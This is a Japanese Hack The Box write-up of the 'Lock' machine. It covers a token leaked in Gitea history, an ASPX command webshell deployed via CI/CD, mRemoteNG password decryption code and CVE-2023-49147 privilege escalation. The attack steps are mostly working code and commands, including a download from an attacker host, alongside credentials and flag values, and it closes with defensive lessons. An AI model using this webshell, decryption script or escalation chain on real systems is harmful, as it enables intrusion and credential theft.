Hack The BoxのWriteup(Lock)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Lock — Gitea PAT 漏洩 → CI/CD ASPX Webshell → mRemoteNG AES-GCM 復号 → CVE-2023-49147 PDF24 SYSTEM

ポートスキャン (nmap)

bash nmap 全ポート + バージョン検出
nmap -sV -sC -p- 10.129.234.64 –min-rate 1000
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Lock – Index |_http-server-header: Microsoft-IIS/10.0 445/tcp open microsoft-ds Windows SMB 3000/tcp open http Golang net/http (Gitea) |_http-title: Gitea: Git with a cup of tea 3389/tcp open ms-wbt-server Microsoft Terminal Services
📌 ポイント

IIS (80) + SMB (445) + Gitea (3000) + RDP (3389) の 4 ポートが開いている。
Gitea は ASP.NET アプリ開発に使われており、CI/CD による自動デプロイとの連携が示唆される。

IIS ウェブサイトの確認 (port 80)

bash HTTP ヘッダー確認
curl -sI http://10.129.234.64/
HTTP/1.1 200 OK Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Content-Type: text/html
📝 情報

IIS 10.0 + ASP.NET が稼働。ウェブサイトは PDF 文書管理ソリューションを提供する企業サイト。ASPX ファイルが実行可能なことを意味する。

Gitea 公開リポジトリの列挙 (port 3000)

bash Gitea Explore でリポジトリを確認
curl -s “http://10.129.234.64:3000/explore/repos” | grep -o ‘ellen\.freeman/[a-z-]*’
ellen.freeman/dev-scripts ellen.freeman/website
🔍 発見

dev-scripts は Python スクリプト集、website は IIS にデプロイされているウェブサイトのソースコード。
CI/CD 統合が有効: website の readme.md に「CI/CD integration is now active — changes to the repository will automatically be deployed to the webserver」と記載あり。

Phase 2

Gitea PAT 漏洩 — dev-scripts コミット履歴から認証トークン取得

dev-scripts コミット履歴の調査

bash Gitea API でコミット一覧を取得
curl -s “http://10.129.234.64:3000/api/v1/repos/ellen.freeman/dev-scripts/commits?limit=10”
[ { “sha”: “9b78e6c382…”, “commit”: { “message”: “Update repos.py” } }, { “sha”: “dec8696b17…”, “commit”: { “message”: “Add repos.py” } } ]
💡 着眼点

2 コミットが存在。最初のコミット (Add repos.py) には PAT がハードコードされていた可能性がある。
更新コミット (Update repos.py) では環境変数 GITEA_ACCESS_TOKEN に変更済み — つまり履歴に過去のトークンが残っている

初期コミット時点の repos.py を取得

bash 初期コミット時点の repos.py を参照
curl -s “http://10.129.234.64:3000/api/v1/repos/ellen.freeman/dev-scripts/contents/repos.py?ref=dec8696b17…”
# store this in env instead at some point PERSONAL_ACCESS_TOKEN = ’43ce39bb0bd6bc489284f2905f033ca467a6362f’ def get_repositories(token, domain): headers = { ‘Authorization’: f’token {token}’ } …

💎 取得認証情報 (Personal Access Token)

GITEA_PAT = 43ce39bb0bd6bc489284f2905f033ca467a6362f
⚠️ 脆弱性

PAT をコミット後に環境変数へ変更しても、git の commit history から復元可能。
PAT は取り消し・再発行が必要。git の filter-branch や BFG Repo-Cleaner で履歴からも完全削除すること。

PAT で website リポジトリへのアクセス確認

bash PAT で認証してリポジトリ一覧
curl -s “http://10.129.234.64:3000/api/v1/user/repos” \ -H “Authorization: token 43ce39bb0bd6bc489284f2905f033ca467a6362f”
[ { “full_name”: “ellen.freeman/dev-scripts” }, { “full_name”: “ellen.freeman/website” } ]
✅ 確認

PAT で ellen.freeman の全リポジトリへの読み書きアクセスが可能。
website リポジトリへの push 権限が得られた。

Phase 3

CI/CD ASPX Webshell — website リポジトリ push → IIS 自動デプロイ

website リポジトリをクローン

bash PAT を URL に埋め込んでクローン
git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git cd website
Cloning into ‘website’… remote: Enumerating objects: 165, done. remote: Counting objects: 100% (165/165), done. remote: Compressing objects: 100% (128/128), done. remote: Total 165 (delta 35), reused 153 (delta 31), pack-reused 0 Receiving objects: 100% (165/165), 7.16 MiB | 72.00 KiB/s, done. Resolving deltas: 100% (35/35), done.
⚠️ 重要: Force Push で CI/CD が壊れる

IIS の webroot は git pull (fast-forward) で更新される。
git init + git push --force で orphan commit を作成すると、IIS 側の git が「unrelated histories」を拒否し、以降のデプロイが全て失敗する。
必ず git clone → 追記コミット → 通常 push の順で実施すること。

ASPX Webshell を追加してコミット・プッシュ

bash WSSTART/WSEND マーカー付き Webshell 作成
cat > sysinfo8472.aspx << ‘EOF’ <%@ Page Language=”C#” %> <%@ Import Namespace=”System.Diagnostics” %> <%@ Import Namespace=”System.IO” %> <script runat=”server”> void Page_Load(object sender, EventArgs e) { string c = Request.QueryString[“c”]; if (c == null) { Response.Write(“LOCK_WS_OK”); return; } Process p = new Process(); p.StartInfo.FileName = “cmd.exe”; p.StartInfo.Arguments = “/c ” + c; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.Start(); string o = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); Response.Write(“WSSTART” + o + “WSEND”); } </script> EOF
bash コミット & プッシュ (delta push でCI/CD トリガー)
git config user.name “ellen.freeman” git config user.email “ellen.freeman@lock.htb” git add sysinfo8472.aspx git commit -m “add sysinfo” git push
Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 2 threads Compressing objects: 100% (3/3), done. Writing objects: 100% (3/3), 1.47 KiB | 1.47 MiB/s, done. Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 remote: . Processing 1 references remote: Processed 1 references in total To http://10.129.234.64:3000/ellen.freeman/website.git 73cdcc1..b62dc3e main -> main
🔑 CI/CD のしくみ

push イベントで Gitea の post-receive hook が発火し、IIS の webroot ディレクトリで git pull が実行される。
73cdcc1..b62dc3e のような fast-forward delta push でのみ動作する。約 10〜15 秒でデプロイ完了。

Webshell の動作確認と RCE

bash webshell 疎通確認 → コマンド実行
# ヘルスチェック curl http://10.129.234.64/sysinfo8472.aspx # → LOCK_WS_OK # コマンド実行 (?c= パラメータ、出力は WSSTART…WSEND で囲まれる) python3 -c ” import urllib.parse, subprocess, re enc = urllib.parse.quote(‘whoami’, safe=”) r = subprocess.run( [‘curl’,’-s’,’http://10.129.234.64/sysinfo8472.aspx?c=’+enc], capture_output=True, text=True) m = re.search(r’WSSTART(.*?)WSEND’, r.stdout, re.DOTALL) print(m.group(1).strip()) “
lock\ellen.freeman
✅ 初期侵入成功

IIS ユーザ (lock\ellen.freeman) として RCE を確立。
webshell は URL エンコードされたコマンドを ?c= パラメータで受け取り、出力を WSSTART...WSEND マーカーで返す。

Phase 4

mRemoteNG AES-GCM 復号 → Gale.Dekarios RDP → user.txt

config.xml の取得

cmd (webshell) mRemoteNG 設定ファイルを読み取り
curl “http://10.129.234.64/sysinfo8472.aspx?c=type+C:\Users\ellen.freeman\Documents\config.xml”
<?xml version=”1.0″ encoding=”utf-8″?> <mrng:Connections xmlns:mrng=”http://mremoteng.org” Name=”Connections” EncryptionEngine=”AES” BlockCipherMode=”GCM” KdfIterations=”1000″ Protected=”sDkrKn0JrG4oAL4GW8Bctm…” ConfVersion=”2.6″> <Node Name=”RDP/Gale” Type=”Connection” Username=”Gale.Dekarios” Password=”TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw==” Hostname=”Lock” Protocol=”RDP” Port=”3389″ InheritPassword=”false” /> </mrng:Connections>
🔐 暗号化形式 (mRemoteNG v2.6 AES-GCM)

Base64 デコード後のバイト列: salt(16) + nonce/IV(16) + ciphertext + tag(16)
鍵導出: PBKDF2-SHA1(master_password, salt, iterations=1000, dklen=32)
デフォルト master password: mR3m(mRemoteNG 公式のデフォルト値)
復号時: AES-GCM.decrypt(key, nonce, ciphertext, tag, AAD=salt)salt を AAD として渡すことが必須

パスワードの復号 (Python AES-GCM)

python3 AES-GCM + PBKDF2 で復号
import base64, hashlib from Cryptodome.Cipher import AES enc_b64 = “TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw==” master_pw = “mR3m” # mRemoteNG デフォルト master password data = base64.b64decode(enc_b64) salt = data[:16] # bytes 0-15 nonce = data[16:32] # bytes 16-31 ct = data[32:-16] # plaintext (encrypted) tag = data[-16:] # GCM auth tag key = hashlib.pbkdf2_hmac(“sha1”, master_pw.encode(), salt, 1000, dklen=32) cipher = AES.new(key, AES.MODE_GCM, nonce) cipher.update(salt) # salt を AAD として渡す (必須) plaintext = cipher.decrypt_and_verify(ct, tag) print(plaintext.decode()) # → ty8wnW9qCKDosXo6

💎 取得認証情報

Gale.Dekarios : ty8wnW9qCKDosXo6
⚠️ 2つの落とし穴

① master password: mRemoteNG のデフォルトは "mR3m"。ネット上の記事で "mRemoteNG" と誤記されていることがあるが、実際は "mR3m"
② AAD (Additional Authenticated Data): cipher.update(salt) で salt を AAD として渡さないと認証タグ検証が失敗する。cryptography ライブラリでは authenticate_additional_data(salt) に相当。

RDP 接続と user.txt 取得

bash xfreerdp で RDP 接続
xfreerdp3 /v:10.129.234.64 /u:Gale.Dekarios /p:ty8wnW9qCKDosXo6 /cert:ignore /dynamic-resolution
cmd (RDP) Gale のデスクトップから user.txt を読み取る
type C:\Users\gale.dekarios\Desktop\user.txt

🚩 user.txt

974b2bb4d6bbe4663399def4a5446ba3
📌 補足: webshell 経由では user.txt を読めない

webshell は lock\ellen.freeman として動作しており、C:\Users\gale.dekarios\Desktop\ への読み取りアクセス権がない。
SMB C$ も Gale 権限でのアクセスは拒否される。WinRM (5985) も開いていない。
RDP セッション中に Gale 本人として読み取るしかない

Phase 5

CVE-2023-49147 PDF24 OpLock + MSI repair → SYSTEM → root.txt

PDF24 バージョン確認と脆弱性概要

cmd (webshell) インストール済みソフトウェア確認
dir “C:\Program Files\PDF24\” dir C:\_install\pdf24*.msi
C:\Program Files\PDF24\ (PDF24 Creator 11.15.1) C:\_install\pdf24-creator-11.15.1-x64.msi (462,602,240 bytes)
🏗️ CVE-2023-49147 解説

根本原因: PDF24 Creator の MSI repair (msiexec /fa) は SYSTEM 権限で動作し、C:\Program Files\PDF24\faxPrnInst.log を作成・オープンしようとする。
攻撃手法 (TOCTOU): 攻撃者が OpLock (Opportunistic Lock) で faxPrnInst.log をブロックすると、MSI が log ファイルを開けずに待機。その間に pdf24-PrinterInstall.exe が SYSTEM として RDP セッションに可視の GUI ウィンドウを立ち上げる。
影響バージョン: PDF24 Creator ≤ 11.15.1

SetOpLock.exe の取得とアップロード

bash (Kali) Google Project Zero ツールを取得
# SetOpLock.exe (116,224 bytes) — GoogleProjectZero/symboliclink-testing-tools wget https://github.com/googleprojectzero/symboliclink-testing-tools/releases/download/v1.0/Release.7z 7z x Release.7z ls Release/SetOpLock.exe # 116,224 bytes # ターゲットに HTTP サーバで配信 python3 -m http.server 5001
cmd (webshell) SetOpLock.exe を Public フォルダにダウンロード
powershell -c “Invoke-WebRequest http://10.10.15.201:5001/SetOpLock.exe -OutFile C:\Users\Public\SetOpLock.exe”
C:\Users\Public\SetOpLock.exe (116,224 bytes)

go.bat の準備

bash (Kali) go.bat を作成してターゲットに配置
cat > go.bat << ‘EOF’ @echo off start /min “” “C:\Users\Public\SetOpLock.exe” “C:\Program Files\PDF24\faxPrnInst.log” r timeout /t 3 /nobreak >nul msiexec /fa “C:\_install\pdf24-creator-11.15.1-x64.msi” EOF
⚠️ SetOpLock の引数は位置引数 r

SetOpLock.exe "path\to\file" rr (Read oplock) はダッシュなしの位置引数として渡す。
-r と書くと OpLock が設定されず、faxPrnInst.log が即座に開かれて PrinterInstall が正常終了してしまう。

OpLock + msiexec repair の実行

cmd (RDP セッション — Gale のデスクトップ) go.bat を実行
# RDP セッション内の cmd.exe で実行 C:\Users\Public\go.bat # go.bat 内部動作: # 1. SetOpLock が faxPrnInst.log に Read OpLock を設定 (バックグラウンド起動) # 2. 3秒後に msiexec /fa でMSI repair を開始 # → MSI が faxPrnInst.log を開こうとして OpLock に阻まれ待機 # → SYSTEM 権限の pdf24-PrinterInstall.exe ウィンドウが RDP セッションに出現
# tasklist で確認 (約30〜60秒後) SetOpLock.exe 5148 Console 1 … msiexec.exe 6684 Console 1 … pdf24-PrinterInst 7012 Console 1 … ← SYSTEM として動作
⏱️ タイミング

MSI repair 開始から pdf24-PrinterInstall.exe の GUI が現れるまで 30〜60 秒かかる。
途中で「PDF24 Backend を閉じてください」ダイアログが出た場合は Enter で dismissed。

SYSTEM 権限での cmd.exe 起動

GUI PDF24 PrinterInstall ウィンドウ操作
# pdf24-PrinterInstall.exe のタイトルバー右クリック → “Properties” # → “Options” タブ → “Learn more about legacy console mode” リンクをクリック # → “どのアプリで開きますか?” ダイアログ → Firefox を選択 (マウスクリック必須) # → Firefox が SYSTEM として起動 # → Firefox: Ctrl+O → ファイルダイアログに “cmd.exe” を入力 → Enter # → “ファイルを保存しますか?” → “ファイルを保存” をクリック # → Ctrl+J (ダウンロード) → cmd.exe をダブルクリック # → SYSTEM 権限の cmd.exe が起動
cmd (SYSTEM) 権限確認
whoami
nt authority\system
🎯 Firefox を介した SYSTEM 昇格のしくみ

pdf24-PrinterInstall.exe は SYSTEM トークンで動作しており、そのコンソールウィンドウから起動される子プロセス (Firefox → cmd.exe) は SYSTEM トークンを継承する。
“Open With” ダイアログでの選択はマウスクリック必須 (キーボード Down+Enter では Firefox が選択されず失敗)。

root.txt 取得

cmd (SYSTEM) Administrator のデスクトップを読み取る
# SYSTEM シェルで直接読み取り type \users\administrator\desktop\root.txt # または webshell 経由で回収するため Public に書き出す copy \users\administrator\desktop\root.txt \users\public\root_flag.txt

🚩 root.txt

4d9b42b7754f88f1543041102fdc0036
📌 パス記法の注意 (xfreerdp + xdotool 経由)

xdotool でキー入力をシミュレートする場合、Shift キーが正しく送信されないため大文字・記号が化ける。
パスはすべて小文字・バックスラッシュのみ・コロンなしで入力する (\users\public\ 形式)。

Summary

全体まとめと防御側の学び

攻撃チェーンの全体像

段階 手法・脆弱性 取得したもの
1 Gitea 公開リポジトリ + コミット履歴 PAT 漏洩 GITEA_PAT: 43ce39bb...
2 website リポジトリ clone → ASPX webshell push → CI/CD 自動デプロイ IIS RCE (lock\ellen.freeman)
3 mRemoteNG config.xml 取得 → AES-GCM 復号 (master pw: mR3m, AAD=salt) Gale.Dekarios : ty8wnW9qCKDosXo6
4 RDP ログイン (Gale.Dekarios) user.txt: 974b2bb4...
5 CVE-2023-49147: SetOpLock r + msiexec /fa → SYSTEM GUI → Firefox → cmd.exe root.txt: 4d9b42b7...

防御側の学び

  • PAT の git 管理禁止: Personal Access Token をソースコードにコミットしない。コミット後は必ず PAT を失効・再発行し、BFG Repo-Cleaner で履歴から完全削除すること。
  • CI/CD のスコープ制限: CI/CD が書き込む webroot を最小権限に。IIS の実行ユーザと webroot 所有者を分離し、ASPX などのスクリプトを CI/CD でデプロイできないよう制限する。
  • mRemoteNG の暗号化強化: デフォルト master password (mR3m) を強力なカスタムパスワードに変更。config.xml を平文アクセス可能な場所に保存しない。
  • PDF24 のアップデート: CVE-2023-49147 は PDF24 Creator 11.15.1 以前に影響。最新バージョンへアップデートすること。インストーラが SYSTEM 権限でユーザー書き込み可能パスにログを作成する設計を避ける。
  • RDP セッション分離: 管理者権限ユーザの RDP セッションに一般ユーザから視認できる SYSTEM プロセスが出現する状況を作らない (Restricted Admin Mode の検討)。

使用した主要ツール

ツール 用途
nmap ポートスキャン・サービス検出
curl + Gitea API コミット履歴からの PAT 取得
git clone / push ASPX webshell の CI/CD デプロイ
Python3 (Cryptodome) mRemoteNG AES-GCM + PBKDF2 パスワード復号
xfreerdp3 + xdotool RDP 自動化・GUI 操作
SetOpLock.exe (Google Project Zero) CVE-2023-49147: faxPrnInst.log への Read OpLock 設定

取得フラグ

🚩 user.txt

974b2bb4d6bbe4663399def4a5446ba3

🚩 root.txt

4d9b42b7754f88f1543041102fdc0036

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。